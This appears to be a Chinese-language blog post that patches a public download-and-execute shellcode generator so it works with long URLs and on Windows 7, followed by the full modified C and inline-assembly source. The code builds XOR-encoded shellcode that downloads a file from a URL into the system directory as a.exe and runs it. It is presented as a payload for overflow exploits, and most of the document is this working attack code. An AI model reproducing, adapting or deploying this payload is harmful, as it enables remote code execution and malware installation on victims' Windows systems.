Download_Exec shellcode fix & for Windows 7

很久沒打網誌了丟些來湊篇幅XD

某些需求，需要Download and Exec file的shellcode，而且要For win7也可以work的，網路上找不到經指點只好自己改，改的時候才發現還是有些問題XD

shellcode原始版本 From

http://www.exploit-db.com/exploits/13529/

• Author : lion
• lion#cnhonker.net
• http://www.cnhonker.com

首先是發現當網址長度 > 40 bytes時shellcode執行會失敗，實際去追蹤後發現出錯點位於decode shellcode中發生問題，第314行

mov cl,0xFF

cl放的是要被解碼shellcode的offset偏移量，會被程式動態patch，最長只有到255

shellcode_decode 21 bytes
shellcode_main 194 bytes
網址長度 X bytes

當21 + 194 + X > 255時就會出錯，所以修改一下

mov cl, 0xff

Opcode為 B1 FF

mov ecx, 0xff

Opcode為 B9 FF 00 00 00

再把#DEFINE的偏移量+3 bytes以及修改判斷動態patch的部分即可

至於通用性的問題，在 Windows XP / 2k / 2k3可成功，Windows 7失敗的原因在於

由於這隻shellcode是透過PEB取得ImageBase，WIndows 7後會再Kernel32.dll前先載入kernelbase.dll，所以造成ImageBase取錯

改法也很簡單，判斷取得dll名稱的長度即可XD 詳細細節可參閱:

http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
http://bbs.pediy.com/showthread.php?t=122260
http://bbs.pediy.com/showthread.php?t=99007

修改後版本XD

/*
*-----------------------------------------------------------------------
*
* downloadurl_v31.c - Download file and exec shellcode for Overflow exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author   : lion
*          : lion#cnhonker.net
*          : http://www.cnhonker.com
*          :
* Date     : 2003-08-15
*          :
* Update   : 2004-05-05 v3.1
*          : 2004-01-08 v3.0
*          : 2003-09-10 v2.0
*          : 2003-08-15 v1.0
*          :
* Tested   : Windows 2000/Windows XP/windows 2003
*          :
* Notice   : 1. 通過peb取得kernel32.dll地址。
*          : 2. 通過函數的hash值來進行比較，代替GetProcAddress取得函數地址，節省函數名佔用的空間。
*          : 3. 利用循環獲取hash值和函數地址，節省空間。
*          : 4. 下載url文件並執行。
*          : 5. 用vc6可以命令行直接編譯，方便修改。
*          : 6. win2000/winxp/win2003 下測試成功。
*          : 7. 比較小巧，長度為241 bytes。
*          :


* Complie  : cl downloadurl_v31.c
*          :
* Reference: http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
*          : http://www.metasploit.com/shellcode.html
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

// Use for find the ASM code
#define PROC_BEGIN                     __asm _emit 0x90 __asm  _emit 0x90\
                                       __asm _emit 0x90 __asm  _emit 0x90\
                                       __asm _emit 0x90 __asm  _emit 0x90\
                                       __asm _emit 0x90 __asm  _emit 0x90
#define PROC_END                       PROC_BEGIN
#define SEARCH_STR                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN                     8
#define MAX_SC_LEN                     2048
#define HASH_KEY                       13

// Define Decode Parameter
#define DECODE_LEN                     24
#define SC_LEN_OFFSET                  7
#define ENC_KEY_OFFSET                 14
#define ENC_KEY                        0x99


// Define Function Addr
#define ADDR_LoadLibraryA              [esi]
#define ADDR_GetSystemDirectoryA       [esi+4]
#define ADDR_WinExec                   [esi+8]
#define ADDR_ExitProcess               [esi+12]
#define ADDR_URLDownloadToFileA        [esi+16]
//#define ADDR_URL                       edi

// Need functions
unsigned char functions[100][128] =      
{                                           // [esi] stack layout
    // kernel32 4                           // 00 kernel32.dll
    {"LoadLibraryA"},                       //    [esi]
    {"GetSystemDirectoryA"},                //    [esi+4]
    {"WinExec"},                            //    [esi+8]    
    {"ExitProcess"},                        //    [esi+12]
    //("ExitThread"},
    //{"TerminateProcess"},
    // urlmon  1                            // 01 urlmon.dll
    {"URLDownloadToFileA"},                 //    [esi+16]
    {""},
};

// Shellcode string
unsigned char  sc[1024] = {0};

unsigned char url[]=
    "http://127.0.0.1/calc.exe\x00";

// ASM shellcode main function
void    ShellCode();

// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
    DWORD h = 0;

    while ( *c )
    {
        __asm ror h, HASH_KEY

        h += *c++;
    }
    return( h );
}

// Print Shellcode
void PrintSc(unsigned char *sc, int len)
{
    int    i,j;
    char *p;
    char msg[6];

    //printf("/* %d bytes */\n", buffsize);

    // Print general shellcode
    for(i = 0; i < len; i++)
    {
        if((i%16)==0)
        {
            if(i!=0)
                printf("\"\n\"");
            else
                printf("\"");
        }

        //printf("\\x%.2X", sc[i]);

        sprintf(msg, "\\x%.2X", sc[i] & 0xff);

        for( p = msg, j=0; j < 4; p++, j++ )
        {
            if(isupper(*p))
                printf("%c", _tolower(*p));
            else
                printf("%c", p[0]);
        }
    }

    printf("\";\n");
}


void Make_ShellCode()
{
    unsigned char  *pSc_addr;
    unsigned int   Sc_len;
    unsigned int   Enc_key=ENC_KEY;
    unsigned long  dwHash[100];
    unsigned int   dwHashSize;

    int i,j,k,l;

    // Get functions hash
    printf("[+] Get functions hash strings.\r\n");
    for (i=0;;i++)
    {
        if (functions[i][0] == '\x0') break;

        dwHash[i] = GetHash((char*)functions[i]);
        printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
    }
    dwHashSize = i*4;


    // Deal with shellcode
    pSc_addr = (unsigned char *)ShellCode;

    for (k=0;k<MAX_SC_LEN;++k )
    {
        if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
        {
            break;
        }
    }
    pSc_addr+=(k+SEARCH_LEN);               // Start of the ShellCode

    for (k=0;k<MAX_SC_LEN;++k)
    {
        if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
            break;
        }
    }
    Sc_len=k;                               // Length of the ShellCode

    memcpy(sc, pSc_addr, Sc_len);           // Copy shellcode to sc[]


    // Add functions hash
    memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
    Sc_len += dwHashSize;

    // Add url
    memcpy(sc+Sc_len, url, sizeof(url)-1);
    Sc_len += sizeof(url)-1;

    // Print the size of shellcode.
    printf("[+] %d + %d + %d = %d bytes shellcode\n", DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len);


    // Print the ip/port offset
    for(k=0; k <= Sc_len-3; ++k)
    {
        if(sc[k] == 0x00 && sc[k+1] == 0x35)
            printf("/* port offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
        if(sc[k] == 0x7F && sc[k+3] == 0x01)
            printf("/* ip offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
    }

/*            
    for(i=DECODE_LEN; i<Sc_len; i++)
    {
       sc[i] ^= Enc_key;
    }
*/

    // Print shellcode
    //PrintSc(sc, Sc_len);


    // Deal with find the right XOR byte
    for(i=0xff; i>0; i--)
    {
        l = 0;
        for(j=DECODE_LEN; j<Sc_len; j++)
        {
            if (
                   ((sc[j] ^ i) == 0x26) || //%
                   ((sc[j] ^ i) == 0x3d) || //=
                   ((sc[j] ^ i) == 0x3f) || //?
                   ((sc[j] ^ i) == 0x40) || //@
                   ((sc[j] ^ i) == 0x00) ||
                   ((sc[j] ^ i) == 0x0D) ||
                   ((sc[j] ^ i) == 0x0A)
                )                           // Define Bad Characters
            {
                l++;                        // If found the right XOR byte￡?l equals 0
                break;
            };
        }

        if (l==0)
        {
            Enc_key = i;
          
            //printf("[+] Find XOR Byte: 0x%02X\n", i);
            for(j=DECODE_LEN; j<Sc_len; j++)
            {
                sc[j] ^= Enc_key;
            }

            break;                          // If found the right XOR byte, Break
        }
    }

    // Deal with not found XOR byte
    if (l!=0)
   {
        printf("[-] No xor byte found!\r\n");
        exit(-1);
    }

    // Deal with DeCode string
    if (Sc_len > 0xff)
        *(unsigned char *)&sc[SC_LEN_OFFSET + 1] = Sc_len >> 8;
    *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
    *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;

    // Print decode
    printf("/* %d bytes decode */\r\n", DECODE_LEN);
    PrintSc(sc, DECODE_LEN);

    // Print shellcode
    printf("/* %d bytes shellcode, xor with 0x%02x */\r\n", Sc_len-DECODE_LEN, Enc_key);
    PrintSc((unsigned char*)sc+DECODE_LEN, Sc_len-DECODE_LEN);

    printf("[+] download url:%s\n", url);
}

void main()
{
    DWORD    addr;
    WSADATA        wsa;

    WSAStartup(MAKEWORD(2,2),&wsa);

    Make_ShellCode();

    addr = (DWORD)&sc;

    __asm
    {
        jmp addr
    }

    return;
}

// ShellCode function
void ShellCode()
{
    __asm
    {
        PROC_BEGIN                          // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
        jmp     short decode_end

decode_start:
        pop     ebx                         // Decode start addr (esp -> ebx)
        dec     ebx
        xor     ecx,ecx
        mov     ecx,0xFF                     // Decode len

    decode_loop:
        xor     byte ptr [ebx+ecx],0x99     // Decode key
        loop    decode_loop
        jmp     short decode_ok

decode_end:
        call    decode_start

decode_ok:

//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
        jmp     sc_end

sc_start:      
        pop     edi                         // Hash string start addr (esp -> edi)
        xor     ecx, ecx
        // Get kernel32.dll base addr
        mov     eax, fs:0x30                // PEB
        mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO
        mov     esi, [eax+0x1c]             // InInitOrder.flink
next_module:      
        //lodsd                               // eax = InInitOrder.blink
        mov     edx, [esi+8]                // ebp = kernel32.dll base address
        mov     ebx, [esi+0x20]
        mov     esi, [esi]
        cmp     [ebx+12*2], cl
        jne     next_module
        mov     ebp, edx

        mov     esi, edi                    // Hash string start addr -> esi

        // Get function addr of kernel32
        push    4
        pop     ecx

    getkernel32:
        call    GetProcAddress_fun
        loop    getkernel32

        // Get function addr of urlmon  
        push    0x00006e6f
        push    0x6d6c7275                 // urlmon
        push    esp
        call    ADDR_LoadLibraryA          // LoadLibraryA("urlmon");

        mov     ebp, eax                   // ebp = urlmon.dll base address

/*
        push    1
        pop     ecx

    geturlmon:
        call    GetProcAddress_fun
        loop    geturlmon
*/
        call    GetProcAddress_fun

        // url start addr = edi

//LGetSystemDirectoryA:
        sub     esp, 0x20
        mov     ebx, esp

        push    0x20
        push    ebx
        call   ADDR_GetSystemDirectoryA     // GetSystemDirectoryA

//LURLDownloadToFileA:  
        // eax = system path size
        // URLDownloadToFileA url save to a.exe
        mov     dword ptr [ebx+eax], 0x652E615C           // "\a.e"
        mov     dword ptr [ebx+eax+0x4], 0x00006578       // "xe"
        xor     eax, eax
        push    eax
        push    eax
        push    ebx                         // %systemdir%\a.exe
        push    edi                         // url
        push    eax
        call    ADDR_URLDownloadToFileA     // URLDownloadToFileA

//LWinExec:
  mov     ebx, esp
  push    eax
  push    ebx
  call    ADDR_WinExec                // WinExec(%systemdir%\a.exe);

Finished:
        //push    1
        call    ADDR_ExitProcess            // ExitProcess();

GetProcAddress_fun:  
        push    ecx
        push    esi

        mov     esi, [ebp+0x3C]             // e_lfanew
        mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA
        add     esi, ebp                    // rva2va
        push    esi
        mov     esi, [esi+0x20]              // AddressOfNames RVA
        add     esi, ebp                    // rva2va
        xor     ecx, ecx
        dec     ecx

    find_start:
        inc     ecx
        lodsd
        add     eax, ebp
        xor     ebx, ebx

    hash_loop:
        movsx   edx, byte ptr [eax]
        cmp     dl, dh
        jz      short find_addr
        ror     ebx, HASH_KEY               // hash key
        add     ebx, edx
        inc     eax
        jmp     short hash_loop

    find_addr:
        cmp     ebx, [edi]                  // compare to hash
        jnz     short find_start
        pop     esi                         // ExportDirectory
        mov     ebx, [esi+0x24]             // AddressOfNameOrdinals RVA
        add     ebx, ebp                    // rva2va
        mov     cx, [ebx+ecx*2]             // FunctionOrdinal
        mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA
        add     ebx, ebp                    // rva2va
        mov     eax, [ebx+ecx*4]            // FunctionAddress RVA
        add     eax, ebp                    // rva2va
        stosd                               // function address save to [edi]

        pop     esi
        pop     ecx
        ret

sc_end:
        call sc_start

        PROC_END                            //C macro to end proc
    }
}

// milw0rm.com [2004-10-25]